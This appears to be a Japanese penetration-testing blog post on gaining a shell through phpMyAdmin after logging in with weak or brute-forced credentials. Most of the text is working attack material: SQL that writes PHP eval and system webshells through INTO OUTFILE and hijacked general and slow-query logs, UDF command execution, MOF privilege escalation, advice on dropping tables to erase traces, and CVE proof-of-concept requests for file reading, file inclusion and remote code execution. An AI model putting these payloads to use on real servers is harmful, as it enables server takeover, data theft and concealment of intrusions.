事の発端#
以前、phpmyadmin
バックエンドの弱パスワードブルートフォースに関する記事を書きました。
では、phpmyadmin
バックエンドのログイン権限を取得した後、サーバーにshell
を書き込むにはどうすればよいのでしょうか?
環境設定#
phpMyAdmin の脆弱性は、認証後に利用可能なものが多いため、バックエンドに入る必要があります。
バックエンドに入る方法は次の通りです:
- 弱パスワード:root/root, root / 空、mysql/mysql
- ブルートフォース:以前書いた phpmyadmin ブルートフォースの記事を参照
- ディレクトリ漏洩
環境はphpstudy
の2018
バージョンを使用しており、以前に脆弱性が報告されていましたが、修正されています。
- Apache/2.4.23
- PHP/5.4.45
- MySQL/5.5.53
必要な条件#
ここでは、すべての可能な権限を列挙していますが、すべての書き込み方法にすべての権限が必要なわけではありません。
絶対パス#
物理パス
select version(); -- データベースのバージョンを確認
select @@datadir; -- データベースのストレージパスを確認
show VARIABLES like '%char%'; -- システム変数を確認
log
変数を通じて得ることもできます:
phpinfo()
ページ:最も理想的な状況で、直接ウェブパスが表示されます。
select load_file()
を利用してファイルを読み取り、web
パスを見つけます:
/etc/passwd
やapache|nginx|httpd log
などのファイルを試すことができます。
設定ファイルのパスを暴露:もし注入ポイントにファイル読み取り権限があれば、load_file を通じて設定ファイルを読み取ることができます。
# Windows
c:\windows\php.ini # php設定ファイル
c:\windows\system32\inetsrv\MetaBase.xml # IIS仮想ホスト設定ファイル
# Linux
/etc/php.ini # php設定ファイル
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache設定ファイル
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 仮想ディレクトリ設定ファイル
シングルクオートでパスを暴露:URL の後ろにシングルクオートを追加します。シングルクオートがフィルタリングされていない(gpc=off
)こと、かつサーバーがデフォルトでエラーメッセージを返すことが必要です。
www.abc.com/index.php?id=1'
エラーのパラメータ値でパスを暴露:提出するパラメータ値をエラー値に変更してみます。
www.abc.com/index.php?id=-1
Nginx
ファイルタイプエラー解析でパスを暴露:Web
サーバーがNginx
であり、ファイルタイプ解析の脆弱性が存在する必要があります。
画像のアドレスの後に/x.php
を追加すると、その画像はphp
ファイルとして実行されるだけでなく、物理パスも暴露される可能性があります。
www.abc.com/bg.jpg/x.php
Google
でパスを暴露:
site:xxx.com warning
site:xxx.com “fatal error”
テストファイルでパスを暴露:
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
その他
phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
アカウントに読み書き権限があるか#
shell
を書き込む際にエラーが発生した場合、以下のユーザー権限を確認することもできます:
select * from mysql.user; //すべてのユーザー権限を確認
select * from mysql.user where user="root"; //rootユーザーの権限を確認
update user set File_priv ='Y' where user = 'root'; //rootユーザーにファイルの読み書きを許可
update user set File_priv ='N' where user = 'root'; //rootユーザーのファイルの読み書きを禁止
flush privileges; //MySQLシステム権限関連のテーブルをリフレッシュ
パスに読み書き権限があるか#
secure_file_priv 権限#
select @@secure_file_priv; -- secure_file_privを確認
-- secure_file_priv=NULL、インポートとエクスポートを禁止
-- secure_file_priv='',インポートとエクスポートに制限なし、Linuxではデフォルトで/tmpディレクトリが書き込み可能
-- secure_file_priv=/path/、指定されたディレクトリにのみインポートとエクスポートが可能
my.ini
、my.cnf
、mysqld.cnf
ファイル内でsecure_file_prive
を見つけ、その値を ""または"/" に設定し、MySQL サービスを再起動してください!
これは一般的な方法であり、phpstudy
のmysql
の設定ファイルにはこのパラメータはありません。
したがって、自分で設定ファイルにsecure_file_priv =
という行を追加すればよいのです。
mysql
を再起動して再度確認:
ログの読み書き権限#
ログの状態を確認:
show variables like '%general%';
general
が有効な場合、実行されたsql
文はすべて *******.log ファイルに表示されます。
したがって、general_log_file
の値を変更すると、実行されたsql
文がshell
を生成します。
ログの読み書きを有効にする:
SET GLOBAL general_log='on'
その他の権限#
magic_quotes_gpc
:有効にすると、' シングルクオートがエスケープされ、\
バックスラッシュに変わります。
getshell#
一般的な getshell#
必要な条件は:
- 現在のデータベースユーザーに書き込み権限があること
- ウェブの絶対パスを知っていること
- ウェブパスに書き込み可能であること
使用例:
select '<?php @eval($_POST[soap]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\config.php';
注意:phpmyadmin
のsql
文内で書き込みを実行する場合、パスはスラッシュ / またはダブルバックスラッシュ \ でなければなりません。
もしエラーメッセージが表示された場合、Can't create/write to file 'xxx/xxx/xxx.php' (Errcode: 13)
というメッセージが表示されます。
これはディレクトリが書き込み不可であることを示しており、他のディレクトリを試すことができます。例えば:
- /upload
- /templates
- /cache
中国語のパスでshell
を書き込む:
set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select '<?php eval($_POST[soap]);?>' into outfile 'C:\\phpStudy\\WWW\\测试\\config.php';
アリババの接続:http://192.168.1.7/config.php
、パスワード:soap
このように利用することもできます:
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test.php';
アクセスリンク:http://192.168.1.7/test.php?cmd=net user
注入ポイントがある場所でもこのように使用できます:
id=1) into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\settings.php' fields terminated by '<?php @eval($_POST[]);?>'
テーブル作成による getshell#
直接phpmyadmin
で操作することもできますし、または直接sql
文でテーブルを作成することもできます:
CREATE TABLE `mysql`.`soapffz` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`soapffz` (`content` ) VALUES ('<?php @eval($_POST[soap]);?>');
SELECT `content` FROM `mysql`.`soapffz` INTO OUTFILE 'C:\\phpstudy\\PHPTutorial\\WWW\\test3.php';
または
Create TABLE soapffz (content text NOT NULL);
Insert INTO soapffz (content) VALUES('<?php @eval($_POST[pass]);?>');
select `content` from mysql.soapffz into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test3.php';
その後、作成したテーブルを削除して痕跡を消します。
DROP TABLE IF EXISTS `mysql`.`soapffz`;
shell
に接続できます。
ログによる getshell#
必要な条件:
- ログ記録が有効であること
- ウェブの絶対パス
実際に実行する操作:
- ログファイルを webshell に変更する
ログファイルに書き込むことで getshell#
注意:次のように操作します:
show global variables like "%genera%";
set global general_log='on';
操作設定のディレクトリは、phpstudy
を再起動すると無効になります。
指定したログファイル:
set global general_log_file = "C:/phpstudy/PHPTutorial/WWW/test2.php";
実行コードを書き込む:
SELECT '<?php eval($_POST["soap"]);?>'
スロークエリを通じて shell を書き込む#
現在のスロークエリログのディレクトリを確認:
show variables like '%slow%';
パスを再設定:
set GLOBAL slow_query_log_file='C:/phpstudy/PHPTutorial/WWW/slow.php';
スロークエリログを有効にする:
set GLOBAL slow_query_log=on;
ログに書き込む操作を実行:
select '<?php eval($_POST["soap"]);?>' from mysql.db where sleep(10);
ユーザー定義関数(UDF)#
Windows
およびLinux
環境に適用されます。
必要な条件:
- 書き込み権限があること
- プラグインディレクトリが書き込み可能であること(または指定されたプラグインディレクトリを変更できること)。
具体的な状況は、ターゲットの mysql のバージョンによります:
- Mysql バージョン > 5.1 の場合、dll または so は mysql インストールディレクトリの lib\plugin に配置する必要があります。このディレクトリに書き込み権限がある場合は利用可能です。確認するには:
show variables like %plugin%;
// プラグインディレクトリを確認 - 5.0 <= Mysql バージョン <5.1 の場合、ターゲットサーバーのシステムディレクトリ(例:C://Windows/System32)にエクスポートする必要があります。
- Mysql バージョン < 5.0 の場合、ディレクトリはカスタマイズ可能で、具体的な利用方法は以下の通りです:
ターゲットmysql
バージョンに基づいて特定のディレクトリにso
またはdll
を書き込み、sqlmap
の中のものを参考にできます。
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\l ib\plugin\lib_mysqludf_sys.dll';
対応する関数を作成:
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
コマンドを実行:
select * from mysql.func where name = 'sys_eval'; #作成したsys_eval関数を確認
select sys_eval('whoami'); #システムコマンドを使用
MOF 特権昇格#
mysql
を通じてファイルをMOF
ファイルに書き込み、元のMOF
ファイルを置き換えます。その後、システムは 5 秒ごとにアップロードされたMOF
を実行します。
一般的にWindows <= 2003
に適用され、C:\Windows\System32\mof
ディレクトリに書き込み権限が必要です(通常は書き込み権限がありません)。
MSF
を使用して直接利用できます:exploit/windows/mysql/mysql_mof
特殊バージョンによる getshell#
CVE-2013-3238
影響バージョン:3.5.x < 3.5.8.1および4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用モジュール:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
影響バージョン:phpMyAdmin v3.5.2.2
利用モジュール:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin設定ファイル/config/config.inc.phpにコマンド実行の脆弱性
影響バージョン:2.11.x < 2.11.9.5および3.x < 3.1.3.1
利用モジュール:exploit/unix/webapp/phpmyadmin_config
弱パスワード&万能パスワード
弱パスワード:バージョンphpmyadmin2.11.9.2、直接rootユーザーでログイン、パスワード不要
万能パスワード:バージョン2.11.3 / 2.11.4、ユーザー名'localhost'@'@"でログイン成功
phpmyadmin 脆弱性利用#
WooYun-2016-1994 33
:任意ファイル読み取りの脆弱性
影響を受ける phpMyAdmin2.x
バージョン、poc
は以下の通り:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
CVE-2014 -8959
:ローカルファイル包含
影響範囲:phpMyAdmin 4 .0.1--4 .2.12
、PHP version < 5.3.4
が必要、Poc
は以下の通り:
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=
/../../../../phpinfo.txt%00 # 注意してtoken値を変更してください
実際の利用では、/tmp
ディレクトリにファイルを書き込むこととこの脆弱性を組み合わせてRCE
を完成させることができます。php
バージョンはhttp header
を通じて確認できます。
テーブル内容をファイルにエクスポートする追加内容を確認できます。
CVE-2016-5734
:バックエンドRCE
影響範囲:PhpMyAdmin4 .0.x-4 .6.2
、PHP 4 .3.0-5.4 .6 versions
が必要、利用方法は以下の通り:
cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
CVE-2018-1261
:バックエンドファイル包含
phpMyAdmin 4 .8.0
および4 .8.1
、検証により任意ファイル包含が実現可能。利用方法は以下の通り:
SQL
文を実行し、PHP
コードをSession
ファイルに書き込みます:
select '<?php phpinfo();exit;?>'
session
ファイルを含める:
http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_*** # ***はphpMyAdminのCOOKIE値
CVE-2018-19968
:任意ファイル包含/RCE
phpMyAdmin 4 .8.0~4 .8.3
、利用方法は以下の通り:
データベースを作成し、PHP
コードをSession
ファイルに書き込みます:
CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
foo
データベースのphpMyAdmin
の設定表を生成し、アクセスします:
http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
データを改ざんしてpma column_info
に挿入します:
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # ***はphpMyAdminのCOOKIE値
ここで注意が必要なのは、システムのsession
保存位置が異なることです。具体的なシステムはphpMyAdmin
ログイン後のホームページで確認できます。
MacOS
:/var/tmp
Linux
:/var/lib/php/sessions
phpStudy
:/phpstudy/PHPTutorial/tmp/tmp
Session
ファイルを含むアドレスにアクセス:
http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1
参考記事: